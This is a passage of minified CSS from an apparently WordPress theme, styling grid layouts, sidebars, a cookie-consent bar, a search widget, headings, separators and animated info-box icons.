20px}.overlay-post-box-meta>div{margin-top:15px}.overlay-post-box-meta>div:first-child{margin-top:0;display:block}.overlay-post-box-meta>div:after{content:none;display:none}.penci-single-mag-slider .magcat-detail{padding:10px 15px}.penci-single-mag-slider .magcat-detail .magcat-titlte{font-size:15px}.footer-menu li{padding:0 5px}.penci-post-gallery-container.masonry .item-gallery-masonry{width:100%!important;opacity:1}.penci-post-gallery-container.masonry .item-gallery-masonry.animated{animation-name:none;-webkit-animation-name:none;-moz-animation-name:none;-o-animation-name:none}.footer-subscribe{padding:40px 0}.footer-subscribe h4.footer-subscribe-title{font-size:24px}.footer-subscribe .mc4wp-form{width:100%;padding:0 20px}.footer-subscribe .mc4wp-form .memail,.footer-subscribe .mc4wp-form .msubmit{width:100%;float:none;margin-left:0}.footer-subscribe .widget .mc4wp-form input[type=submit]{max-width:100%}.penci-menu-hbg.mstyle-fullwidth{width:100%!important}.open-mobile-builder-sidebar-nav .penci-builder-mobile-sidebar-nav.mstyle-fullwidth{left:100%}.penci-builder-mobile-sidebar-nav.mstyle-fullwidth{transform:translateX(-100%);-webkit-transform:translateX(-100%);-moz-transform:translateX(-100%);transition:unset}.open-mobile-builder-sidebar-nav .close-mobile-menu-builder.mstyle-fullwidth{height:auto;top:10px;left:10px;right:auto;z-index:99999999;padding:0;background:0 0}.close-mobile-menu-builder.mstyle-fullwidth i{background-color:transparent;font-size:18px}.close-mobile-menu-builder.mstyle-fullwidth{background-color:transparent;transition:none}.open-mobile-builder-sidebar-nav #wpadminbar{z-index:9}#sidebar-nav.mstyle-fullwidth{width:100%!important}.open-sidebar-nav #sidebar-nav.mstyle-fullwidth{left:100%}#sidebar-nav.mstyle-fullwidth{transform:translateX(-100%);-webkit-transform:translateX(-100%);-moz-transform:translateX(-100%);transition:unset}.open-sidebar-nav #close-sidebar-nav.mstyle-fullwidth{height:auto;top:10px;left:10px;right:auto;z-index:99999999;padding:0;background:0 0}#close-sidebar-nav.mstyle-fullwidth i{background-color:transparent;font-size:18px}#close-sidebar-nav.mstyle-fullwidth{background-color:transparent;transition:none}.open-sidebar-nav #wpadminbar{z-index:9}.penci-single-style-12{margin-bottom:0}}@media screen and (max-width:782px) and (min-width:601px){.admin-bar .is-sticky #navigation{top:46px!important}}@media screen and (max-width:600px){.is-sticky #navigation{top:0!important;z-index:999999}#close-sidebar-nav,#sidebar-nav,.penci-menu-hbg,.penci-menu-hbg-overlay{z-index:9999999}#close-sidebar-nav i{display:inline-block}}.penci-wrap-gprd-law{display:block;color:#212121;font-size:14px}.penci-gprd-law{padding:7px 15px;color:inherit;font-size:inherit;display:block;text-align:center;transition:all .3s;-webkit-transition:all .3s;background:#f5f5f5}.penci-gprd-law p{font-size:inherit;color:inherit;margin:0;display:inline-block}.penci-gprd-law .penci-gprd-accept,.penci-gprd-law .penci-gprd-more{display:inline-block;padding:0;line-height:1;font-size:inherit;color:inherit;margin-left:10px;transition:opacity .3s;-webkit-transition:opacity .3s}.penci-gprd-law .penci-gprd-accept{background:#212121;color:#fff;padding:6px 15px}.penci-gprd-law .penci-gprd-accept:hover,.penci-gprd-law .penci-gprd-more:hover{opacity:.8}.penci-gprd-law,.penci-wrap-gprd-law .penci-gdrd-show{position:fixed;z-index:19999;left:0;bottom:0;right:0;width:100%}.penci-wrap-gprd-law .penci-gdrd-show{display:inline-block;width:auto;right:100px;left:auto;padding:6px 15px;font-size:inherit;color:inherit;background:#f5f5f5;line-height:1;transition:all .3s;-webkit-transition:all .3s;transition-delay:.2s;-webkit-transition-delay:.2s}.penci-wrap-gprd-law-close{z-index:0}.penci-close-all .penci-gdrd-show,.penci-close-all .penci-gprd-law{visibility:hidden}.penci-wrap-gprd-law .penci-gdrd-show,.penci-wrap-gprd-law-close .penci-gprd-law{transform:translateY(100%);-webkit-transform:translateY(100%)}.penci-wrap-gprd-law-close .penci-gdrd-show{transform:translateY(0);-webkit-transform:translateY(0)}@media screen and (max-width:767px){.penci-wrap-gprd-law .penci-gdrd-show{display:none!important}}.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc{padding:20px}#flexi_searchbox #b_searchboxInc .b_submitButton_wrapper .b_submitButton{display:inline-block}.bos_searchbox_widget_class #flexi_searchbox h1,.bos_searchbox_widget_class #flexi_searchbox h2,.bos_searchbox_widget_class #flexi_searchbox h3,.bos_searchbox_widget_class #flexi_searchbox h4{font-family:var(--pchead-font);font-style:normal;font-weight:var(--pchead-wei)}.bos_searchbox_widget_class #flexi_searchbox h3,.bos_searchbox_widget_class #flexi_searchbox h4{margin-bottom:10px}.bos_searchbox_widget_class #flexi_searchbox h3{font-size:24px}.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc input[type=text],.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc select{border-radius:0;border:none}.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc input[type=text]{height:34px;line-height:34px;padding:0 10px!important;width:100%!important}.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc select{padding:5px 10px!important;height:28px;line-height:28px;margin-right:10px}.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc .b_submitButton_wrapper .b_submitButton,.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc .b_submitButton_wrapper .b_submitButton:hover{border-radius:0;border:none;box-shadow:none;font-family:var(--pchead-font);font-weight:var(--pchead-wei);font-size:14px;padding:0 20px;line-height:40px}.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc .b_submitButton_wrapper .b_submitButton:hover{border:0;border-radius:0;opacity:.8}.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc #b_searchCheckInDate,.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc #b_searchCheckOutDate,.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc #b_searchDest,.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc .b_submitButton_wrapper{margin-bottom:20px}.penci-vc-row{margin-left:-10px;margin-right:-10px;display:flex;flex-wrap:wrap}.penci-vc-column{float:left;padding-left:10px;padding-right:10px}.penci-vc-row:after{content:" ";display:table;width:100%}.penci-col-1,.penci-col-10,.penci-col-11,.penci-col-12,.penci-col-2,.penci-col-3,.penci-col-4,.penci-col-5,.penci-col-6,.penci-col-7,.penci-col-8,.penci-col-9{position:relative;min-height:1px;padding-left:10px;padding-right:10px}@media (min-width:480px){.penci-col-1,.penci-col-10,.penci-col-11,.penci-col-12,.penci-col-2,.penci-col-3,.penci-col-4,.penci-col-5,.penci-col-6,.penci-col-7,.penci-col-8,.penci-col-9{width:100%}}@media (min-width:768px){.penci-col-10,.penci-col-11,.penci-col-12,.penci-col-7,.penci-col-8,.penci-col-9{width:100%}}@media (min-width:992px){.penci-col-1,.penci-col-10,.penci-col-11,.penci-col-12,.penci-col-2,.penci-col-3,.penci-col-4,.penci-col-5,.penci-col-6,.penci-col-7,.penci-col-8,.penci-col-9{float:left;margin-bottom:0}.penci-col-12{width:100%}.penci-col-11{width:91.66666667%}.penci-col-10{width:83.33333333%}.penci-col-9{width:75%}.penci-col-8{width:66.66666667%}.penci-col-7{width:58.33333333%}.penci-col-6{width:50%}.penci-col-5{width:41.66666667%}.penci-col-4{width:33.33333333%}.penci-col-3{width:25%}.penci-col-2{width:16.66666667%}.penci-col-1{width:8.33333333%}}.pencisc-grid .pencisc-grid-item{word-break:break-word;min-width:0}.penci-lposts-ctcol.pencisc-grid-1 .penci-grid,.penci-lposts-ctcol.pencisc-grid-2 .penci-grid,.penci-lposts-ctcol.pencisc-grid-3 .penci-grid,.penci-lposts-ctcol.pencisc-grid-4 .penci-grid,.penci-lposts-ctcol.pencisc-grid-5 .penci-grid,.penci-lposts-ctcol.pencisc-grid-6 .penci-grid{display:flex;overflow:hidden;flex-wrap:wrap;grid-column-gap:30px;grid-row-gap:30px}.penci-featured-cat-ctcol.pencisc-grid-1 .home-featured-cat-content,.penci-featured-cat-ctcol.pencisc-grid-2 .home-featured-cat-content,.penci-featured-cat-ctcol.pencisc-grid-3 .home-featured-cat-content,.penci-featured-cat-ctcol.pencisc-grid-4 .home-featured-cat-content,.penci-featured-cat-ctcol.pencisc-grid-5 .home-featured-cat-content,.penci-featured-cat-ctcol.pencisc-grid-6 .home-featured-cat-content{display:flex;overflow:hidden;flex-wrap:wrap;grid-column-gap:10px;grid-row-gap:10px}.pencisc-grid-1 .pencisc-grid,.pencisc-grid-2 .pencisc-grid,.pencisc-grid-3 .pencisc-grid,.pencisc-grid-4 .pencisc-grid,.pencisc-grid-5 .pencisc-grid,.pencisc-grid-6 .pencisc-grid{display:flex;overflow:hidden;flex-wrap:wrap;grid-column-gap:30px;grid-row-gap:30px}.penci-gallery-bsc .pencisc-grid{grid-column-gap:0;grid-row-gap:0}.penci-featured-cat-ctcol.pencisc-grid-1 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-1 .penci-grid,.pencisc-grid-1 .pencisc-grid{grid-template-columns:repeat(1,1fr);display:grid}.penci-featured-cat-ctcol.pencisc-grid-2 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-2 .penci-grid,.pencisc-grid-2 .pencisc-grid{grid-template-columns:repeat(2,1fr);display:grid}.penci-featured-cat-ctcol.pencisc-grid-3 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-3 .penci-grid,.pencisc-grid-3 .pencisc-grid{grid-template-columns:repeat(3,1fr);display:grid}.penci-featured-cat-ctcol.pencisc-grid-4 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-4 .penci-grid,.pencisc-grid-4 .pencisc-grid{grid-template-columns:repeat(4,1fr);display:grid}.penci-featured-cat-ctcol.pencisc-grid-5 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-5 .penci-grid,.pencisc-grid-5 .pencisc-grid{grid-template-columns:repeat(5,1fr);display:grid}.penci-featured-cat-ctcol.pencisc-grid-6 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-6 .penci-grid,.pencisc-grid-6 .pencisc-grid{grid-template-columns:repeat(6,1fr);display:grid}@media (max-width:1024px){.pencisc-grid-tablet-0 .pencisc-grid{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;overflow:hidden;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}.penci-featured-cat-ctcol.pencisc-grid-tablet-1 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-tablet-1 .penci-grid,.pencisc-grid-tablet-1 .pencisc-grid{grid-template-columns:repeat(1,1fr);display:grid}.penci-featured-cat-ctcol.pencisc-grid-tablet-2 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-tablet-2 .penci-grid,.pencisc-grid-tablet-2 .pencisc-grid{grid-template-columns:repeat(2,1fr);display:grid}.penci-featured-cat-ctcol.pencisc-grid-tablet-3 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-tablet-3 .penci-grid,.pencisc-grid-tablet-3 .pencisc-grid{grid-template-columns:repeat(3,1fr);display:grid}.penci-featured-cat-ctcol.pencisc-grid-tablet-4 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-tablet-4 .penci-grid,.pencisc-grid-tablet-4 .pencisc-grid{grid-template-columns:repeat(4,1fr);display:grid}.penci-featured-cat-ctcol.pencisc-grid-tablet-5 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-tablet-5 .penci-grid,.pencisc-grid-tablet-5 .pencisc-grid{grid-template-columns:repeat(5,1fr);display:grid}.penci-featured-cat-ctcol.pencisc-grid-tablet-6 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-tablet-6 .penci-grid,.pencisc-grid-tablet-6 .pencisc-grid{grid-template-columns:repeat(6,1fr);display:grid}.pencisc-grid-tablet-7 .pencisc-grid{grid-template-columns:repeat(7,1fr);display:grid}.pencisc-grid-tablet-8 .pencisc-grid{grid-template-columns:repeat(8,1fr);display:grid}.pencisc-grid-tablet-9 .pencisc-grid{grid-template-columns:repeat(9,1fr);display:grid}.pencisc-grid-tablet-10 .pencisc-grid{grid-template-columns:repeat(10,1fr);display:grid}.pencisc-grid-tablet-11 .pencisc-grid{grid-template-columns:repeat(11,1fr);display:grid}.pencisc-grid-tablet-12 .pencisc-grid{grid-template-columns:repeat(12,1fr);display:grid}}@media (max-width:767px){.pencisc-grid-mobile-0 .pencisc-grid{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;overflow:hidden;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}.penci-featured-cat-ctcol.pencisc-grid-mobile-1 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-mobile-1 .penci-grid,.pencisc-grid-mobile-1 .pencisc-grid{grid-template-columns:repeat(1,1fr);display:grid}.penci-featured-cat-ctcol.pencisc-grid-mobile-2 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-mobile-2 .penci-grid,.pencisc-grid-mobile-2 .pencisc-grid{grid-template-columns:repeat(2,1fr);display:grid}.penci-featured-cat-ctcol.pencisc-grid-mobile-3 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-mobile-3 .penci-grid,.pencisc-grid-mobile-3 .pencisc-grid{grid-template-columns:repeat(3,1fr);display:grid}.penci-featured-cat-ctcol.pencisc-grid-mobile-4 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-mobile-4 .penci-grid,.pencisc-grid-mobile-4 .pencisc-grid{grid-template-columns:repeat(4,1fr);display:grid}.penci-featured-cat-ctcol.pencisc-grid-mobile-5 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-mobile-5 .penci-grid,.pencisc-grid-mobile-5 .pencisc-grid{grid-template-columns:repeat(5,1fr);display:grid}.penci-featured-cat-ctcol.pencisc-grid-mobile-6 .home-featured-cat-content,.penci-lposts-ctcol.pencisc-grid-mobile-6 .penci-grid,.pencisc-grid-mobile-6 .pencisc-grid{grid-template-columns:repeat(6,1fr);display:grid}.pencisc-grid-mobile-7 .pencisc-grid{grid-template-columns:repeat(7,1fr);display:grid}.pencisc-grid-mobile-8 .pencisc-grid{grid-template-columns:repeat(8,1fr);display:grid}.pencisc-grid-mobile-9 .pencisc-grid{grid-template-columns:repeat(9,1fr);display:grid}.pencisc-grid-mobile-10 .pencisc-grid{grid-template-columns:repeat(10,1fr);display:grid}.pencisc-grid-mobile-11 .pencisc-grid{grid-template-columns:repeat(11,1fr);display:grid}.pencisc-grid-mobile-12 .pencisc-grid{grid-template-columns:repeat(12,1fr);display:grid}}.container.two-sidebar{width:var(--pcctain2);display:flex;flex-wrap:wrap}.container.penci-breadcrumb.two-sidebar{display:block}.penci-two-sidebar .container.penci-breadcrumb{width:var(--pcctain2);display:block}.penci-vc-row.penci-vc-dis-padding{margin-left:0;margin-right:0}.container.two-sidebar #main,.layout-14_12_14 .penci-main-content{width:57%;order:2;padding-left:50px;padding-right:50px}.container.two-sidebar .penci-sidebar-content,.layout-14_12_14 .penci-vc-sidebar{width:21.5%}.container.two-sidebar .penci-sidebar-left,.layout-14_12_14 .penci-sidebar-left{order:1}.container.two-sidebar .penci-sidebar-right,.layout-14_12_14 .penci-sidebar-right{order:3}.layout-12_14_14 .penci-main-content{order:1;width:53.5%;padding-right:50px}.layout-12_14_14 .penci-sidebar-left{order:2;width:25%;padding-right:50px}.layout-12_14_14 .penci-sidebar-right{order:3;width:21.5%}.layout-14_14_12 .penci-main-content{order:3;width:53.5%;padding-left:50px}.layout-14_14_12 .penci-sidebar-left{order:1;width:21.5%}.layout-14_14_12 .penci-sidebar-right{order:2;width:25%;padding-left:50px}.layout-13_23 .penci-main-content,.layout-23_13 .penci-main-content{width:70.94%;float:left}.layout-23_13 .penci-main-content{padding-right:50px}.layout-13_23 .penci-main-content{padding-left:50px}.layout-13_23 .penci-vc-sidebar,.layout-23_13 .penci-vc-sidebar{width:29.06%;float:right}.penci-vc-container{margin-left:auto;margin-right:auto}.vc-penci-w1080,.vc-penci-w1170,.vc-penci-w1400{width:100%}.vc-penci-w1080{max-width:1080px}.vc-penci-w1170{max-width:var(--pcctain)}.vc-penci-w1400{max-width:var(--pcctain2)}.penci-missing-settings{font-size:13px;font-weight:400;text-align:left;padding:10px 10px 5px;outline:2px dashed #d4d4d4;color:#131313;font-family:Verdana,Geneva,sans-serif;cursor:pointer;margin-top:10px;margin-bottom:10px}.penci-missing-settings span{font-size:11px;position:relative;margin-right:10px;margin-bottom:5px;background-color:red;color:#fff;font-weight:700;padding:5px 10px;display:inline-block;vertical-align:top}.block-title-icon-left .inner-arrow i,.block-title-icon-left .inner-arrow svg{margin-right:8px;transition:.3s all ease-in-out}.block-title-icon-right .inner-arrow i,.block-title-icon-right .inner-arrow svg{margin-left:8px;transition:.3s all ease-in-out}.inner-arrow svg path{transition:.3s all ease-in-out}.block-title-icon-left .inner-arrow svg,.block-title-icon-right .inner-arrow svg{width:16px;height:auto}.penci-fancy-heading.penci-block-vc{background-color:transparent}.penci-fancy-heading.penci-heading-text-center{text-align:center}.penci-fancy-heading.penci-heading-text-center .penci-heading-content,.penci-fancy-heading.penci-heading-text-center .penci-heading-subtitle{margin-left:auto;margin-right:auto}.penci-fancy-heading .penci-heading-content p{line-height:inherit;font-size:inherit;color:inherit;margin-bottom:17px}.penci-fancy-heading .penci-heading-content p:last-child{margin-bottom:0}.penci-fancy-heading.penci-heading-text-right{text-align:right;overflow:hidden}.penci-fancy-heading.penci-heading-text-right .penci-heading-content,.penci-fancy-heading.penci-heading-text-right .penci-heading-subtitle,.penci-fancy-heading.penci-heading-text-right .penci-heading-title{text-align:right;clear:both}.penci-fancy-heading.penci-heading-text-right .penci-heading-content{margin-right:0;margin-left:auto}.penci-fancy-heading.penci-heading-text-right li{text-align:right;list-style-position:inside}.penci-fancy-heading.penci-heading-text-left{text-align:left}.penci-fancy-heading.penci-heading-text-left .penci-heading-content,.penci-fancy-heading.penci-heading-text-left .penci-heading-subtitle,.penci-fancy-heading.penci-heading-text-left .penci-heading-title{text-align:left;clear:both}.penci-fancy-heading.penci-heading-text-left .penci-heading-content{margin-right:auto;margin-left:0}.penci-fancy-heading .penci-heading-title{font-size:36px;color:#111;margin-top:0;margin-bottom:5px;line-height:1.3;overflow:hidden}.penci-fancy-heading .inner-tit{font-size:inherit;font-weight:inherit;color:inherit;display:inline-block;vertical-align:top;font-family:inherit}.penci-fancy-heading.pc-fctline .inner-tit{position:relative;padding:0 20px}.penci-fancy-heading.pc-fctline .inner-tit:after,.penci-fancy-heading.pc-fctline .inner-tit:before{content:"";height:1px;top:50%;right:100%;width:1000px;display:block;background:var(--pcborder-cl);position:absolute;margin-top:1px}.penci-fancy-heading.pc-fctline .inner-tit:after{right:auto;left:100%}.penci-fancy-heading .penci-heading-subtitle{margin-bottom:10px}.penci-fancy-heading .penci-heading-title+.penci-heading-subtitle{margin-top:10px}.penci-fancy-heading .penci-heading-content,.penci-fancy-heading .penci-heading-subtitle{font-size:16px}.penci-fancy-heading .penci-heading-content{margin-top:10px;clear:both}.penci-fancy-heading .penci-separator{margin-bottom:15px}.penci-separator{display:flex;flex-direction:row;flex-wrap:nowrap;align-items:center;max-width:60px;width:100%;clear:both}.penci-separator-left .penci-heading-icon{margin-left:0!important}.penci-heading-text-left .inner-tit{padding-left:0!important}.penci-separator-center{margin-left:auto;margin-right:auto}.penci-separator-right{float:right}.penci-separator-right .penci-heading-icon{margin-right:0!important}.penci-heading-text-right .inner-tit{padding-right:0!important}.penci-separator-left .penci-sep_holder_l,.penci-separator-right .penci-sep_holder_r{display:none}.penci-separator .penci-sep_holder{height:1px;position:relative;-webkit-box-flex:1;-webkit-flex:1 1 auto;-ms-flex:1 1 auto;flex:1 1 auto;min-width:10%}.penci-separator .penci-sep_line{height:1px;border-top:1px solid #dedede;border-color:#dedede;display:block;position:relative;top:1px;width:100%;border-bottom:none;border-left:none;border-right:none}.penci-separator-dotted .penci-sep_line{border-style:dotted}.penci-separator-dashed .penci-sep_line{border-style:dashed}.penci-separator-double .penci-sep_line{border-top-style:double;border-top-width:4px;top:-2px}.penci-separator .penci-heading-icon{margin:10px 15px;font-size:20px;color:var(--pcaccent-cl)}.penci-animation-shrink{transition-duration:.3s;transition-property:transform}.penci-animation-shrink:active .penci-ibox-icon,.penci-animation-shrink:hover .penci-ibox-icon{transform:scale(.9)}.penci-animation-grow{transition-duration:.3s;transition-property:transform}.penci-animation-grow:active .penci-ibox-icon,.penci-animation-grow:hover .penci-ibox-icon{transform:scale(1.1)}@keyframes penci-animation-pulse{25%{transform:scale(1.1)}75%{transform:scale(.9)}}.penci-animation-pulse:active .penci-ibox-icon,.penci-animation-pulse:hover .penci-ibox-icon{animation-name:penci-animation-pulse;animation-duration:1s;animation-timing-function:linear;animation-iteration-count:infinite}@keyframes penci-animation-pulse-grow{to{transform:scale(1.1)}}.penci-animation-pulse-grow:active .penci-ibox-icon,.penci-animation-pulse-grow:hover .penci-ibox-icon{animation-name:penci-animation-pulse-grow;animation-duration:.3s;animation-timing-function:linear;animation-iteration-count:infinite;animation-direction:alternate}@keyframes penci-animation-pulse-shrink{to{transform:scale(.9)}}.penci-animation-pulse-shrink:active .penci-ibox-icon,.penci-animation-pulse-shrink:hover .penci-ibox-icon{animation-name:penci-animation-pulse-shrink;animation-duration:.3s;animation-timing-function:linear;animation-iteration-count:infinite;animation-direction:alternate}@keyframes penci-animation-push{50%{transform:scale(.8)}100%{transform:scale(1)}}.penci-animation-push:active .penci-ibox-icon,.penci-animation-push:hover .penci-ibox-icon{animation-name:penci-animation-push;animation-duration:.3s;animation-timing-function:linear;animation-iteration-count:1}@keyframes penci-animation-pop{50%{transform:scale(1.2)}}.penci-animation-pop:active .penci-ibox-icon,.penci-animation-pop:hover .penci-ibox-icon{animation-name:penci-animation-pop;animation-duration:.3s;animation-timing-function:linear;animation-iteration-count:1}.penci-icon{display:inline-block;line-height:1;-webkit-transition:all .3s;-o-transition:all .3s;transition:all .3s;color:#818a91;font-size:50px;text-align:center}.penci-icon i{width:1em;height:1em;position:relative;z-index:20;display:block}.penci-info-box .penci-icon i:before,.penci-info-box .penci-icon svg:before{position:absolute;left:50%;top:0;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%)}.penci-icon:hover{color:#818a91}.penci-view-stacked .penci-icon{padding:.5em;background-color:#818a91;color:#fff;fill:#fff}.penci-view-stacked .penci-icon a{color:inherit}.penci-view-framed .penci-icon{padding:.5em;color:#818a91;border:3px solid #818a91;background-color:transparent!important}.penci-shape-circle .penci-icon{-webkit-border-radius:50%;border-radius:50%}.penci-info-box{position:relative;margin-top:0;padding-left:0;padding-right:0;transition:background-color .3s,background-image .3s,box-shadow .3s}.penci-info-box:after,.penci-info-box:before{content:"";display:table;clear:both}.penci-info-box .penci-ibox-img_active{transition:all .7s}.penci-info-box .penci-ibox-img_hover{opacity:0;visibility:hidden;position:absolute;top:auto;left:0;transition:all .7s}.penci-info-box .penci-ibox-icon--image{width:90px;height:auto!important;overflow:hidden;position:relative}.penci-info-box .penci-ibox-icon--image img{width:100%;height:auto}.penci-info-box.penci-shape-circle .penci-ibox-icon--image{border-radius:50%;-webkit-border-radius:50%}.penci-info-box .penci-ibox-line{margin-top:10px;margin-bottom:0;width:40px;height:2px;background:var(--pcaccent-cl);display:inline-block;vertical-align:top}.penci-info-box .penci-ibox-icon svg{vertical-align:top;transition:fill .15s}.penci-info-box .penci-ibox-icon-fa{z-index:2;position:relative}.penci-info-box a.penci-ibox-icon-fa-fix{z-index:25;position:absolute;top:0;left:0;bottom:0;right:0;display:flex;align-items:center;justify-content:center}.penci-iboxwrap-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:30;display:block}.penci-info-box .penci-ibox-inner:hover .penci-ibox-icon--image.has-hover .penci-ibox-img_active{opacity:0;visibility:hidden}.penci-info-box .penci-ibox-inner:hover .penci-ibox-icon--image.has-hover .penci-ibox-img_hover{opacity:1;visibility:visible}.penci-info-box .penci-ibox-inner .penci-ibox-icon--image .penci-ibox-icon-fa{display:block;width:100%;height:auto}.penci-info-box .penci-ibox-title{font-size:20px;font-weight:700;margin-bottom:0;color:#111}.penci-info-box .penci-ibox-content{margin:8px 0 0 0;color:#999;line-height:1.7}.penci-info-box .penci-ibox-content a,.penci-info-box .penci-ibox-content p{font-size:inherit;font-family:inherit;line-height:1.7}.penci-info-box .pc-ibox-ctext{font-family:var(--pchead-font);font-weight:var(--pchead-wei)}.penci-info-box .penci-ibox-content>p:last-child{margin-bottom:0}.penci-info-box .penci-ibox-stit{line-height:1.4;margin-bottom:5px;font-size:13px;color:#666}.pc-ibox-wpline{line-height:1}.penci-ibox-readmore,.penci-media-rmbtn{margin-top:15px;line-height:1}.penci-info-box .penci-ibox-readmore a,.penci-media-carousels .penci-media-rmbtn a{text-decoration:none;text-transform:uppercase;font-size:14px;font-family:var(--pchead-font);font-weight:500;background:#f2f2f2;color:#111;display:inline-block;vertical-align:top;transition:all .3s;padding:12px 20px;line-height:1;vertical-align:top}.penci-info-box .penci-ibox-readmore.pc-ibox-borders a,.penci-media-carousels .penci-media-rmbtn.pc-rmbtn-borders a{border:2px solid}.penci-info-box .penci-ibox-readmore a:hover,.penci-media-carousels .penci-media-rmbtn a:hover{background:#ddd}.penci-ibox-top-center .penci-ibox-icon,.penci-ibox-top-left .penci-ibox-icon,.penci-ibox-top-right .penci-ibox-icon{margin-bottom:20px;display:inline-flex;align-items:center;justify-content:center}.penci-ibox-top-center .penci-ibox-icon{margin-left:auto;margin-right:auto}.penci-ibox-top-center .penci-ibox-icon--image,.penci-ibox-top-left .penci-ibox-icon--image,.penci-ibox-top-right .penci-ibox-icon--image{height:auto}.penci-ibox-top-center .penci-ibox-inner{text-align:center}.penci-ibox-top-center .penci-ibox-icon--image{margin-left:auto;margin-right:auto}.penci-ibox-top-left .penci-ibox-inner{text-align:left}.penci-ibox-top-left .penci-ibox-inner .penci-ibox-icon{float:left}.penci-ibox-top-right .penci-ibox-inner{text-align:right}.penci-ibox-top-right .penci-ibox-inner .penci-ibox-icon{float:right}.penci-ibox-top-left .penci-ibox-content-wrap,.penci-ibox-top-right .penci-ibox-content-wrap{clear:both}.penci-ibox-float-left .penci-ibox-inner{display:flex;text-align:left;flex-direction:row;align-items:flex-start}.penci-ibox-float-left .penci-ibox-icon{margin-right:20px;margin-bottom:0!important}.penci-ibox-float-right .penci-ibox-icon{margin-left:20px;margin-bottom:0!important}.penci-ibox-top-right .penci-ibox-icon--image{float:right}.penci-ibox-top-right .penci-ibox-content{clear:both}.penci-ibox-float-left .penci-ibox-icon,.penci-ibox-float-right .penci-ibox-icon{display:inline-flex;flex:0 0 auto;align-items:center;justify-content:center}.penci-ibox-float-right .penci-ibox-inner{display:flex;text-align:right;flex-direction:row-reverse;align-items:flex-start}.penci-info-box .penci-icon{position:relative}.penci-shape-circle .penci-animation-custom-1 .penci-ibox-icon:after,.penci-shape-circle .penci-animation-custom-2 .penci-ibox-icon:after,.penci-shape-circle .penci-animation-custom-3 .penci-ibox-icon:after,.penci-shape-circle .penci-animation-custom-4 .penci-ibox-icon:after,.penci-shape-circle .penci-animation-custom-5 .penci-ibox-icon:after{-webkit-border-radius:50%;border-radius:50%;z-index:1}.penci-view-stacked .penci-animation-custom-1 .penci-ibox-icon:after,.penci-view-stacked .penci-animation-custom-2 .penci-ibox-icon:after,.penci-view-stacked .penci-animation-custom-3 .penci-ibox-icon:after,.penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon:after,.penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon:after{content:"";pointer-events:none;position:absolute;top:0;left:0;width:100%;height:100%;padding:0;box-shadow:0 0 0 3px #818a91;transition:transform .3s,opacity .3s;opacity:0}.penci-view-stacked .penci-animation-custom-2 .penci-ibox-icon:after{transform:scale(1.3)}.penci-view-stacked .penci-animation-custom-1 .penci-ibox-icon:after{transform:scale(.8)}.penci-view-stacked .penci-animation-custom-1:hover .penci-ibox-icon,.penci-view-stacked .penci-animation-custom-2:hover .penci-ibox-icon{background-color:#818a91;color:#fff;fill:#fff}.penci-view-stacked .penci-animation-custom-1:hover .penci-ibox-icon:after,.penci-view-stacked .penci-animation-custom-2:hover .penci-ibox-icon:after{-webkit-transform:scale(1.11);-moz-transform:scale(1.11);-ms-transform:scale(1.11);transform:scale(1.11);opacity:1}.penci-view-stacked .penci-animation-custom-3 .penci-ibox-icon:after,.penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon:after,.penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon:after{transform:scale(1);box-shadow:none;background:#818a91;opacity:1;z-index:0}.penci-view-stacked .penci-animation-custom-3 .penci-ibox-icon,.penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon,.penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon{background-color:transparent!important;box-shadow:inset 0 0 0 3px #818a91}.penci-view-stacked .penci-animation-custom-3:hover .penci-ibox-icon:after{-webkit-transform:scale(.85);-moz-transform:scale(.85);-ms-transform:scale(.85);transform:scale(.85)}.penci-view-stacked .penci-animation-custom-4:hover .penci-ibox-icon:after{-webkit-transform:scale(0);-moz-transform:scale(0);-ms-transform:scale(0);transform:scale(0);opacity:1}.penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon:hover,.penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon:hover{color:#818a91;fill:#818a91}.penci-view-stacked .penci-animation-custom-5{transition:color .3s}.penci-view-stacked .penci-animation-custom-5:hover .penci-ibox-icon:after{-webkit-transform:scale(1.3);-moz-transform:scale(1.3);-ms-transform:scale(1.3);transform:scale(1.3);opacity:0}.penci-view-framed .penci-animation-custom-1 .penci-ibox-icon:after,.penci-view-framed .penci-animation-custom-2 